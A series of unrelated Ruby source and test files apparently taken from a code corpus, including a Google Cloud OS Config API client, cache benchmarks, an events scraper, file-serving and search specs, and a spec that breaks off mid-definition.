@os_config_service_stub.call_rpc :update_guest_policy, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Delete an OS Config guest policy.
#
# @overload delete_guest_policy(request, options = nil)
# Pass arguments to `delete_guest_policy` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::DeleteGuestPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::DeleteGuestPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload delete_guest_policy(name: nil)
# Pass arguments to `delete_guest_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param name [::String]
# Required. The resource name of the guest policy using one of the following forms:
# `projects/{project_number}/guestPolicies/{guest_policy_id}`.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Protobuf::Empty]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Protobuf::Empty]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def delete_guest_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::DeleteGuestPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.delete_guest_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"name" => request.name
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.delete_guest_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.delete_guest_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :delete_guest_policy, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Lookup the effective guest policy that applies to a VM instance. This
# lookup merges all policies that are assigned to the instance ancestry.
#
# @overload lookup_effective_guest_policy(request, options = nil)
# Pass arguments to `lookup_effective_guest_policy` via a request object, either of type
# {::Google::Cloud::Osconfig::V1beta::LookupEffectiveGuestPolicyRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::Osconfig::V1beta::LookupEffectiveGuestPolicyRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload lookup_effective_guest_policy(instance: nil, os_short_name: nil, os_version: nil, os_architecture: nil)
# Pass arguments to `lookup_effective_guest_policy` via keyword arguments. Note that at
# least one keyword argument is required. To specify no parameters, or to keep all
# the default parameter values, pass an empty Hash as a request object (see above).
#
# @param instance [::String]
# Required. The VM instance whose policies are being looked up.
# @param os_short_name [::String]
# Short name of the OS running on the instance. The OS Config agent only
# provides this field for targeting if OS Inventory is enabled for that
# instance.
# @param os_version [::String]
# Version of the OS running on the instance. The OS Config agent only
# provides this field for targeting if OS Inventory is enabled for that
# VM instance.
# @param os_architecture [::String]
# Architecture of OS running on the instance. The OS Config agent only
# provides this field for targeting if OS Inventory is enabled for that
# instance.
#
# @yield [response, operation] Access the result along with the RPC operation
# @yieldparam response [::Google::Cloud::Osconfig::V1beta::EffectiveGuestPolicy]
# @yieldparam operation [::GRPC::ActiveCall::Operation]
#
# @return [::Google::Cloud::Osconfig::V1beta::EffectiveGuestPolicy]
#
# @raise [::Google::Cloud::Error] if the RPC is aborted.
#
def lookup_effective_guest_policy request, options = nil
raise ::ArgumentError, "request must be provided" if request.nil?
request = ::Gapic::Protobuf.coerce request, to: ::Google::Cloud::Osconfig::V1beta::LookupEffectiveGuestPolicyRequest
# Converts hash and nil to an options object
options = ::Gapic::CallOptions.new(**options.to_h) if options.respond_to? :to_h
# Customize the options with defaults
metadata = @config.rpcs.lookup_effective_guest_policy.metadata.to_h
# Set x-goog-api-client and x-goog-user-project headers
metadata[:"x-goog-api-client"] ||= ::Gapic::Headers.x_goog_api_client \
lib_name: @config.lib_name, lib_version: @config.lib_version,
gapic_version: ::Google::Cloud::Osconfig::V1beta::VERSION
metadata[:"x-goog-user-project"] = @quota_project_id if @quota_project_id
header_params = {
"instance" => request.instance
}
request_params_header = header_params.map { |k, v| "#{k}=#{v}" }.join("&")
metadata[:"x-goog-request-params"] ||= request_params_header
options.apply_defaults timeout: @config.rpcs.lookup_effective_guest_policy.timeout,
metadata: metadata,
retry_policy: @config.rpcs.lookup_effective_guest_policy.retry_policy
options.apply_defaults timeout: @config.timeout,
metadata: @config.metadata,
retry_policy: @config.retry_policy
@os_config_service_stub.call_rpc :lookup_effective_guest_policy, request, options: options do |response, operation|
yield response, operation if block_given?
return response
end
rescue ::GRPC::BadStatus => e
raise ::Google::Cloud::Error.from_error(e)
end
##
# Configuration class for the OsConfigService API.
#
# This class represents the configuration for OsConfigService,
# providing control over timeouts, retry behavior, logging, transport
# parameters, and other low-level controls. Certain parameters can also be
# applied individually to specific RPCs. See
# {::Google::Cloud::Osconfig::V1beta::OsConfigService::Client::Configuration::Rpcs}
# for a list of RPCs that can be configured independently.
#
# Configuration can be applied globally to all clients, or to a single client
# on construction.
#
# @example
#
# # Modify the global config, setting the timeout for
# # execute_patch_job to 20 seconds,
# # and all remaining timeouts to 10 seconds.
# ::Google::Cloud::Osconfig::V1beta::OsConfigService::Client.configure do |config|
# config.timeout = 10.0
# config.rpcs.execute_patch_job.timeout = 20.0
# end
#
# # Apply the above configuration only to a new client.
# client = ::Google::Cloud::Osconfig::V1beta::OsConfigService::Client.new do |config|
# config.timeout = 10.0
# config.rpcs.execute_patch_job.timeout = 20.0
# end
#
# @!attribute [rw] endpoint
# The hostname or hostname:port of the service endpoint.
# Defaults to `"osconfig.googleapis.com"`.
# @return [::String]
# @!attribute [rw] credentials
# Credentials to send with calls. You may provide any of the following types:
# * (`String`) The path to a service account key file in JSON format
# * (`Hash`) A service account key as a Hash
# * (`Google::Auth::Credentials`) A googleauth credentials object
# (see the [googleauth docs](https://googleapis.dev/ruby/googleauth/latest/index.html))
# * (`Signet::OAuth2::Client`) A signet oauth2 client object
# (see the [signet docs](https://googleapis.dev/ruby/signet/latest/Signet/OAuth2/Client.html))
# * (`GRPC::Core::Channel`) a gRPC channel with included credentials
# * (`GRPC::Core::ChannelCredentials`) a gRPC credentails object
# * (`nil`) indicating no credentials
# @return [::Object]
# @!attribute [rw] scope
# The OAuth scopes
# @return [::Array<::String>]
# @!attribute [rw] lib_name
# The library name as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] lib_version
# The library version as recorded in instrumentation and logging
# @return [::String]
# @!attribute [rw] channel_args
# Extra parameters passed to the gRPC channel. Note: this is ignored if a
# `GRPC::Core::Channel` object is provided as the credential.
# @return [::Hash]
# @!attribute [rw] interceptors
# An array of interceptors that are run before calls are executed.
# @return [::Array<::GRPC::ClientInterceptor>]
# @!attribute [rw] timeout
# The call timeout in seconds.
# @return [::Numeric]
# @!attribute [rw] metadata
# Additional gRPC headers to be sent with the call.
# @return [::Hash{::Symbol=>::String}]
# @!attribute [rw] retry_policy
# The retry policy. The value is a hash with the following keys:
# * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds.
# * `:max_delay` (*type:* `Numeric`) - The max delay in seconds.
# * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier.
# * `:retry_codes` (*type:* `Array<String>`) - The error codes that should
# trigger a retry.
# @return [::Hash]
# @!attribute [rw] quota_project
# A separate project against which to charge quota.
# @return [::String]
#
class Configuration
extend ::Gapic::Config
config_attr :endpoint, "osconfig.googleapis.com", ::String
config_attr :credentials, nil do |value|
allowed = [::String, ::Hash, ::Proc, ::Symbol, ::Google::Auth::Credentials, ::Signet::OAuth2::Client, nil]
allowed += [::GRPC::Core::Channel, ::GRPC::Core::ChannelCredentials] if defined? ::GRPC
allowed.any? { |klass| klass === value }
end
config_attr :scope, nil, ::String, ::Array, nil
config_attr :lib_name, nil, ::String, nil
config_attr :lib_version, nil, ::String, nil
config_attr(:channel_args, { "grpc.service_config_disable_resolution" => 1 }, ::Hash, nil)
config_attr :interceptors, nil, ::Array, nil
config_attr :timeout, nil, ::Numeric, nil
config_attr :metadata, nil, ::Hash, nil
config_attr :retry_policy, nil, ::Hash, ::Proc, nil
config_attr :quota_project, nil, ::String, nil
# @private
def initialize parent_config = nil
@parent_config = parent_config unless parent_config.nil?
yield self if block_given?
end
##
# Configurations for individual RPCs
# @return [Rpcs]
#
def rpcs
@rpcs ||= begin
parent_rpcs = nil
parent_rpcs = @parent_config.rpcs if defined?(@parent_config) && @parent_config.respond_to?(:rpcs)
Rpcs.new parent_rpcs
end
end
##
# Configuration RPC class for the OsConfigService API.
#
# Includes fields providing the configuration for each RPC in this service.
# Each configuration object is of type `Gapic::Config::Method` and includes
# the following configuration fields:
#
# * `timeout` (*type:* `Numeric`) - The call timeout in seconds
# * `metadata` (*type:* `Hash{Symbol=>String}`) - Additional gRPC headers
# * `retry_policy (*type:* `Hash`) - The retry policy. The policy fields
# include the following keys:
# * `:initial_delay` (*type:* `Numeric`) - The initial delay in seconds.
# * `:max_delay` (*type:* `Numeric`) - The max delay in seconds.
# * `:multiplier` (*type:* `Numeric`) - The incremental backoff multiplier.
# * `:retry_codes` (*type:* `Array<String>`) - The error codes that should
# trigger a retry.
#
class Rpcs
##
# RPC-specific configuration for `execute_patch_job`
# @return [::Gapic::Config::Method]
#
attr_reader :execute_patch_job
##
# RPC-specific configuration for `get_patch_job`
# @return [::Gapic::Config::Method]
#
attr_reader :get_patch_job
##
# RPC-specific configuration for `cancel_patch_job`
# @return [::Gapic::Config::Method]
#
attr_reader :cancel_patch_job
##
# RPC-specific configuration for `list_patch_jobs`
# @return [::Gapic::Config::Method]
#
attr_reader :list_patch_jobs
##
# RPC-specific configuration for `list_patch_job_instance_details`
# @return [::Gapic::Config::Method]
#
attr_reader :list_patch_job_instance_details
##
# RPC-specific configuration for `create_patch_deployment`
# @return [::Gapic::Config::Method]
#
attr_reader :create_patch_deployment
##
# RPC-specific configuration for `get_patch_deployment`
# @return [::Gapic::Config::Method]
#
attr_reader :get_patch_deployment
##
# RPC-specific configuration for `list_patch_deployments`
# @return [::Gapic::Config::Method]
#
attr_reader :list_patch_deployments
##
# RPC-specific configuration for `delete_patch_deployment`
# @return [::Gapic::Config::Method]
#
attr_reader :delete_patch_deployment
##
# RPC-specific configuration for `create_guest_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :create_guest_policy
##
# RPC-specific configuration for `get_guest_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :get_guest_policy
##
# RPC-specific configuration for `list_guest_policies`
# @return [::Gapic::Config::Method]
#
attr_reader :list_guest_policies
##
# RPC-specific configuration for `update_guest_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :update_guest_policy
##
# RPC-specific configuration for `delete_guest_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :delete_guest_policy
##
# RPC-specific configuration for `lookup_effective_guest_policy`
# @return [::Gapic::Config::Method]
#
attr_reader :lookup_effective_guest_policy
# @private
def initialize parent_rpcs = nil
execute_patch_job_config = parent_rpcs.execute_patch_job if parent_rpcs.respond_to? :execute_patch_job
@execute_patch_job = ::Gapic::Config::Method.new execute_patch_job_config
get_patch_job_config = parent_rpcs.get_patch_job if parent_rpcs.respond_to? :get_patch_job
@get_patch_job = ::Gapic::Config::Method.new get_patch_job_config
cancel_patch_job_config = parent_rpcs.cancel_patch_job if parent_rpcs.respond_to? :cancel_patch_job
@cancel_patch_job = ::Gapic::Config::Method.new cancel_patch_job_config
list_patch_jobs_config = parent_rpcs.list_patch_jobs if parent_rpcs.respond_to? :list_patch_jobs
@list_patch_jobs = ::Gapic::Config::Method.new list_patch_jobs_config
list_patch_job_instance_details_config = parent_rpcs.list_patch_job_instance_details if parent_rpcs.respond_to? :list_patch_job_instance_details
@list_patch_job_instance_details = ::Gapic::Config::Method.new list_patch_job_instance_details_config
create_patch_deployment_config = parent_rpcs.create_patch_deployment if parent_rpcs.respond_to? :create_patch_deployment
@create_patch_deployment = ::Gapic::Config::Method.new create_patch_deployment_config
get_patch_deployment_config = parent_rpcs.get_patch_deployment if parent_rpcs.respond_to? :get_patch_deployment
@get_patch_deployment = ::Gapic::Config::Method.new get_patch_deployment_config
list_patch_deployments_config = parent_rpcs.list_patch_deployments if parent_rpcs.respond_to? :list_patch_deployments
@list_patch_deployments = ::Gapic::Config::Method.new list_patch_deployments_config
delete_patch_deployment_config = parent_rpcs.delete_patch_deployment if parent_rpcs.respond_to? :delete_patch_deployment
@delete_patch_deployment = ::Gapic::Config::Method.new delete_patch_deployment_config
create_guest_policy_config = parent_rpcs.create_guest_policy if parent_rpcs.respond_to? :create_guest_policy
@create_guest_policy = ::Gapic::Config::Method.new create_guest_policy_config
get_guest_policy_config = parent_rpcs.get_guest_policy if parent_rpcs.respond_to? :get_guest_policy
@get_guest_policy = ::Gapic::Config::Method.new get_guest_policy_config
list_guest_policies_config = parent_rpcs.list_guest_policies if parent_rpcs.respond_to? :list_guest_policies
@list_guest_policies = ::Gapic::Config::Method.new list_guest_policies_config
update_guest_policy_config = parent_rpcs.update_guest_policy if parent_rpcs.respond_to? :update_guest_policy
@update_guest_policy = ::Gapic::Config::Method.new update_guest_policy_config
delete_guest_policy_config = parent_rpcs.delete_guest_policy if parent_rpcs.respond_to? :delete_guest_policy
@delete_guest_policy = ::Gapic::Config::Method.new delete_guest_policy_config
lookup_effective_guest_policy_config = parent_rpcs.lookup_effective_guest_policy if parent_rpcs.respond_to? :lookup_effective_guest_policy
@lookup_effective_guest_policy = ::Gapic::Config::Method.new lookup_effective_guest_policy_config
yield self if block_given?
end
end
end
end
end
end
end
end
end
| 55.064559 | 162 | 0.578923 |
f7ce62bd8b9fbaec5e957ea7c39b226926a27a41 | 1,392 | require "hammer/parser"
require "hammer/parsers/javascript"
require "test_helper"
class JSParserTest < Test::Unit::TestCase
# include AssertCompilation
context "A JS Parser" do
setup do
@parser = Hammer::JSParser.new()
@parser.stubs(:find_files).returns([])
@js_file = create_file('app.js', 'testing', @parser.directory)
end
def stub_out(file)
@parser.stubs(:find_files).returns([file])
end
should "return JS for to_format with :js" do
assert_equal @parser.to_format(:js), @parser.text
end
context "with a CSS file" do
setup do
@file = create_file('style.js', 'var a = function(argument){return true}', @parser.directory)
end
should "parse JS" do
assert_equal 'var a = function(argument){return true}', @parser.parse('var a = function(argument){return true}')
end
context "with other files" do
setup do
@asset_file = create_file "assets/_include.js", "a { background: orange; }", @parser.directory
end
context "when only looking for this file" do
setup do
@parser.stubs(:find_files).returns([@asset_file])
end
should "do include" do
assert @parser.parse("/* @include _include */").include? "background: orange"
end
end
end
end
end
end
| 27.84 | 120 | 0.609195 |
ff6092e85953bbaea6b60a7cb87ddfe040a2d42a | 2,576 | # frozen_string_literal: true
require 'benchmark/ips'
require File.expand_path('../../../../config/environment', __FILE__)
Benchmark.ips do |x|
x.report("redis setex string") do |times|
while times > 0
Discourse.redis.setex("test_key", 60, "test")
times -= 1
end
end
x.report("redis setex marshal string") do |times|
while times > 0
Discourse.redis.setex("test_keym", 60, Marshal.dump("test"))
times -= 1
end
end
x.report("Discourse cache string") do |times|
while times > 0
Discourse.cache.write("test_key", "test", expires_in: 60)
times -= 1
end
end
x.report("Rails cache string") do |times|
while times > 0
Rails.cache.write("test_key_rails", "test", expires_in: 60)
times -= 1
end
end
x.compare!
end
Benchmark.ips do |x|
x.report("redis get string") do |times|
while times > 0
Discourse.redis.get("test_key")
times -= 1
end
end
x.report("redis get string marshal") do |times|
while times > 0
Marshal.load(Discourse.redis.get("test_keym"))
times -= 1
end
end
x.report("Discourse read cache string") do |times|
while times > 0
Discourse.cache.read("test_key")
times -= 1
end
end
x.report("Rails read cache string") do |times|
while times > 0
Rails.cache.read("test_key_rails")
times -= 1
end
end
x.compare!
end
# Comparison:
# redis setex string: 13250.0 i/s
# redis setex marshal string: 12866.4 i/s - same-ish: difference falls within error
# Discourse cache string: 10443.0 i/s - 1.27x slower
# Rails cache string: 10367.9 i/s - 1.28x slower
# Comparison:
# redis get string: 13147.4 i/s
# redis get string marshal: 12789.2 i/s - same-ish: difference falls within error
# Rails read cache string: 10486.4 i/s - 1.25x slower
# Discourse read cache string: 10457.1 i/s - 1.26x slower
#
# After Cache re-write
#
# Comparison:
# redis setex string: 13390.9 i/s
# redis setex marshal string: 13202.0 i/s - same-ish: difference falls within error
# Discourse cache string: 12406.5 i/s - same-ish: difference falls within error
# Rails cache string: 12289.2 i/s - same-ish: difference falls within error
#
# Comparison:
# redis get string: 13589.6 i/s
# redis get string marshal: 13118.3 i/s - same-ish: difference falls within error
# Rails read cache string: 12482.2 i/s - same-ish: difference falls within error
# Discourse read cache string: 12296.8 i/s - same-ish: difference falls within error
| 26.833333 | 87 | 0.649068 |
ac99df859ac0f1ebc68dbe04acacf8af2dc58a64 | 1,204 | require 'nokogiri'
class WellcomeEventsScraper < Tess::Scrapers::Scraper
def self.config
{
name: 'Wellcome Genome Campus scraper',
root_url: 'https://coursesandconferences.wellcomegenomecampus.org',
index_path: '/events.json'
}
end
def scrape
cp = add_content_provider(Tess::API::ContentProvider.new({
title: "Wellcome Genome Campus", #name
url: config[:root_url], #url
image_url: "https://i.imgur.com/37JhL8c.png",
description: "Wellcome Genome Campus Advanced Courses and Scientific Conferences fund, develop and deliver training and conferences that span basic research, cutting-edge biomedicine and the application of genomics in healthcare.",
content_provider_type: :organisation,
keywords: ["HDRUK"]
}))
json = JSON.parse(open_url(config[:root_url] + config[:index_path]).read)
json.each do |event|
event.delete("image_url")
new_event = Tess::API::Event.new(event)
new_event.content_provider = cp
new_event.event_types = [:workshops_and_courses]
new_event.keywords = new_event.keywords.split(' ') << "HDRUK"
add_event(new_event )
end
end
end
| 34.4 | 240 | 0.681894 |
f711df07efe58d8c51e9e10725154f8d5f986a42 | 2,793 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::DataShare::Mgmt::V2018_11_01_preview
module Models
#
# List response for get triggers
#
class TriggerList
include MsRestAzure
include MsRest::JSONable
# @return [String] The Url of next result page.
attr_accessor :next_link
# @return [Array<Trigger>] Collection of items of type
# DataTransferObjects.
attr_accessor :value
# return [Proc] with next page method call.
attr_accessor :next_method
#
# Gets the rest of the items for the request, enabling auto-pagination.
#
# @return [Array<Trigger>] operation results.
#
def get_all_items
items = @value
page = self
while page.next_link != nil && !page.next_link.strip.empty? do
page = page.get_next_page
items.concat(page.value)
end
items
end
#
# Gets the next page of results.
#
# @return [TriggerList] with next page content.
#
def get_next_page
response = @next_method.call(@next_link).value! unless @next_method.nil?
unless response.nil?
@next_link = response.body.next_link
@value = response.body.value
self
end
end
#
# Mapper for TriggerList class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'TriggerList',
type: {
name: 'Composite',
class_name: 'TriggerList',
model_properties: {
next_link: {
client_side_validation: true,
required: false,
serialized_name: 'nextLink',
type: {
name: 'String'
}
},
value: {
client_side_validation: true,
required: true,
serialized_name: 'value',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'TriggerElementType',
type: {
name: 'Composite',
polymorphic_discriminator: 'kind',
uber_parent: 'ProxyDto',
class_name: 'Trigger'
}
}
}
}
}
}
}
end
end
end
end
| 27.653465 | 80 | 0.50913 |
bf97de46b83f9f8a27066b356e07d51df4cfe085 | 256 | class Color2 < ActiveRecord::Migration
def self.up
change_column :areas, :color, :string, :limit => 255, :null => true, :default => nil
end
def self.down
change_column :areas, :color, :string, :default => "#FFFFFF", :null => false
end
end
| 25.6 | 88 | 0.652344 |
f886408920218c4cec8646a81122e649274a5393 | 5,912 | #! /usr/bin/env ruby
require 'spec_helper'
require 'oregano/file_serving/base'
describe Oregano::FileServing::Base do
let(:path) { File.expand_path('/module/dir/file') }
let(:file) { File.expand_path('/my/file') }
it "should accept a path" do
expect(Oregano::FileServing::Base.new(path).path).to eq(path)
end
it "should require that paths be fully qualified" do
expect { Oregano::FileServing::Base.new("module/dir/file") }.to raise_error(ArgumentError)
end
it "should allow specification of whether links should be managed" do
expect(Oregano::FileServing::Base.new(path, :links => :manage).links).to eq(:manage)
end
it "should have a :source attribute" do
file = Oregano::FileServing::Base.new(path)
expect(file).to respond_to(:source)
expect(file).to respond_to(:source=)
end
it "should consider :ignore links equivalent to :manage links" do
expect(Oregano::FileServing::Base.new(path, :links => :ignore).links).to eq(:manage)
end
it "should fail if :links is set to anything other than :manage, :follow, or :ignore" do
expect { Oregano::FileServing::Base.new(path, :links => :else) }.to raise_error(ArgumentError)
end
it "should allow links values to be set as strings" do
expect(Oregano::FileServing::Base.new(path, :links => "follow").links).to eq(:follow)
end
it "should default to :manage for :links" do
expect(Oregano::FileServing::Base.new(path).links).to eq(:manage)
end
it "should allow specification of a path" do
Oregano::FileSystem.stubs(:exist?).returns(true)
expect(Oregano::FileServing::Base.new(path, :path => file).path).to eq(file)
end
it "should allow specification of a relative path" do
Oregano::FileSystem.stubs(:exist?).returns(true)
expect(Oregano::FileServing::Base.new(path, :relative_path => "my/file").relative_path).to eq("my/file")
end
it "should have a means of determining if the file exists" do
expect(Oregano::FileServing::Base.new(file)).to respond_to(:exist?)
end
it "should correctly indicate if the file is present" do
Oregano::FileSystem.expects(:lstat).with(file).returns stub('stat')
expect(Oregano::FileServing::Base.new(file).exist?).to be_truthy
end
it "should correctly indicate if the file is absent" do
Oregano::FileSystem.expects(:lstat).with(file).raises RuntimeError
expect(Oregano::FileServing::Base.new(file).exist?).to be_falsey
end
describe "when setting the relative path" do
it "should require that the relative path be unqualified" do
@file = Oregano::FileServing::Base.new(path)
Oregano::FileSystem.stubs(:exist?).returns(true)
expect { @file.relative_path = File.expand_path("/qualified/file") }.to raise_error(ArgumentError)
end
end
describe "when determining the full file path" do
let(:path) { File.expand_path('/this/file') }
let(:file) { Oregano::FileServing::Base.new(path) }
it "should return the path if there is no relative path" do
expect(file.full_path).to eq(path)
end
it "should return the path if the relative_path is set to ''" do
file.relative_path = ""
expect(file.full_path).to eq(path)
end
it "should return the path if the relative_path is set to '.'" do
file.relative_path = "."
expect(file.full_path).to eq(path)
end
it "should return the path joined with the relative path if there is a relative path and it is not set to '/' or ''" do
file.relative_path = "not/qualified"
expect(file.full_path).to eq(File.join(path, "not/qualified"))
end
it "should strip extra slashes" do
file = Oregano::FileServing::Base.new(File.join(File.expand_path('/'), "//this//file"))
expect(file.full_path).to eq(path)
end
end
describe "when handling a UNC file path on Windows" do
let(:path) { '//server/share/filename' }
let(:file) { Oregano::FileServing::Base.new(path) }
it "should preserve double slashes at the beginning of the path" do
Oregano.features.stubs(:microsoft_windows?).returns(true)
expect(file.full_path).to eq(path)
end
it "should strip double slashes not at the beginning of the path" do
Oregano.features.stubs(:microsoft_windows?).returns(true)
file = Oregano::FileServing::Base.new('//server//share//filename')
expect(file.full_path).to eq(path)
end
end
describe "when stat'ing files" do
let(:path) { File.expand_path('/this/file') }
let(:file) { Oregano::FileServing::Base.new(path) }
let(:stat) { stub('stat', :ftype => 'file' ) }
let(:stubbed_file) { stub(path, :stat => stat, :lstat => stat)}
it "should stat the file's full path" do
Oregano::FileSystem.expects(:lstat).with(path).returns stat
file.stat
end
it "should fail if the file does not exist" do
Oregano::FileSystem.expects(:lstat).with(path).raises(Errno::ENOENT)
expect { file.stat }.to raise_error(Errno::ENOENT)
end
it "should use :lstat if :links is set to :manage" do
Oregano::FileSystem.expects(:lstat).with(path).returns stubbed_file
file.stat
end
it "should use :stat if :links is set to :follow" do
Oregano::FileSystem.expects(:stat).with(path).returns stubbed_file
file.links = :follow
file.stat
end
end
describe "#absolute?" do
it "should be accept POSIX paths" do
expect(Oregano::FileServing::Base).to be_absolute('/')
end
it "should accept Windows paths on Windows" do
Oregano.features.stubs(:microsoft_windows?).returns(true)
Oregano.features.stubs(:posix?).returns(false)
expect(Oregano::FileServing::Base).to be_absolute('c:/foo')
end
it "should reject Windows paths on POSIX" do
Oregano.features.stubs(:microsoft_windows?).returns(false)
expect(Oregano::FileServing::Base).not_to be_absolute('c:/foo')
end
end
end
| 34.982249 | 123 | 0.685047 |
21dfa2581d6e87f60877bccb17762b319f5ee384 | 1,372 | #-- encoding: UTF-8
#-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2017 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
class Queries::Users::Orders::DefaultOrder < Queries::BaseOrder
self.model = User
def self.key
/id|lastname|firstname|mail|login/
end
end
| 37.081081 | 91 | 0.755831 |
87a0c4239c4a8ba961758d603106ea7e47c5af24 | 3,304 | require File.expand_path(File.dirname(__FILE__) + '/../spec_helper')
describe PgSearch::Multisearchable do
with_table "pg_search_documents", {}, &DOCUMENTS_SCHEMA
before { PgSearch.stub(:multisearch_enabled?) { true } }
describe "a model that is multisearchable" do
subject { ModelThatIsMultisearchable }
with_model :ModelThatIsMultisearchable do
table do |t|
end
model do
include PgSearch
multisearchable
end
end
describe "callbacks" do
describe "after_create" do
let(:record) { ModelThatIsMultisearchable.new }
describe "saving the record" do
subject do
lambda { record.save! }
end
context "with multisearch enabled" do
before { PgSearch.stub(:multisearch_enabled?) { true } }
it { should change(PgSearch::Document, :count).by(1) }
end
context "with multisearch disabled" do
before { PgSearch.stub(:multisearch_enabled?) { false } }
it { should_not change(PgSearch::Document, :count) }
end
end
describe "the document" do
subject { document }
before { record.save! }
let(:document) { PgSearch::Document.last }
its(:searchable) { should == record }
end
end
describe "after_update" do
let!(:record) { ModelThatIsMultisearchable.create! }
context "when the document is present" do
describe "saving the record" do
subject do
lambda { record.save! }
end
context "with multisearch enabled" do
before { PgSearch.stub(:multisearch_enabled?) { true } }
before { record.pg_search_document.should_receive(:save) }
it { should_not change(PgSearch::Document, :count) }
end
context "with multisearch disabled" do
before { PgSearch.stub(:multisearch_enabled?) { false } }
before { record.pg_search_document.should_not_receive(:save) }
it { should_not change(PgSearch::Document, :count) }
end
end
end
context "when the document is missing" do
before { record.pg_search_document = nil }
describe "saving the record" do
subject do
lambda { record.save! }
end
context "with multisearch enabled" do
before { PgSearch.stub(:multisearch_enabled?) { true } }
it { should change(PgSearch::Document, :count).by(1) }
end
context "with multisearch disabled" do
before { PgSearch.stub(:multisearch_enabled?) { false } }
it { should_not change(PgSearch::Document, :count) }
end
end
end
end
describe "after_destroy" do
it "should remove its document" do
record = ModelThatIsMultisearchable.create!
document = record.pg_search_document
lambda { record.destroy }.should change(PgSearch::Document, :count).by(-1)
lambda {
PgSearch::Document.find(document.id)
}.should raise_error(ActiveRecord::RecordNotFound)
end
end
end
end
end
| 30.311927 | 84 | 0.581719 |
1af71c146d2347025708017172e8cb357f5b2f46 | 747 | module Cryptoexchange::Exchanges
module Upbit
module Services
class Pairs < Cryptoexchange::Services::Pairs
PAIRS_URL = "#{Cryptoexchange::Exchanges::Upbit::Market::API_URL}/market/all"
def fetch
output = super
adapt(output)
end
def adapt(output)
market_pairs = []
output.each do |pair|
target, base = pair['market'].split('-')
market_pairs << Cryptoexchange::Models::MarketPair.new(
base: base,
target: target,
market: Upbit::Market::NAME
)
end
market_pairs
end
end
end
end
end
| 26.678571 | 85 | 0.48996 |
61b22ed6ff4a28cb885b88e03ec53a796a0a307c | 466 | require 'test_helper'
class MenuHelperTest < ActionView::TestCase
test 'menu item for' do
link = link_to User.model_name.human(count: 0), users_path
assert_equal content_tag(:li, link), menu_item_for(User, users_path)
end
test 'show board?' do
assert !show_board?
session[:board_issues] = [issues(:ls_on_atahualpa_not_well).id]
assert show_board?
end
private
def board_session
session[:board_issues] ||= []
end
end
| 19.416667 | 72 | 0.699571 |
e812d672a0b3e7de43ae84b2d147b4ebbb41d435 | 57,028 | require 'spec_helper'
module VCAP::CloudController
RSpec.describe ServiceBindingsController do
describe 'Query Parameters' do
it { expect(ServiceBindingsController).to be_queryable_by(:app_guid) }
it { expect(ServiceBindingsController).to be_queryable_by(:service_instance_guid) }
end
describe 'Attributes' do
it do
expect(ServiceBindingsController).to have_creatable_attributes({
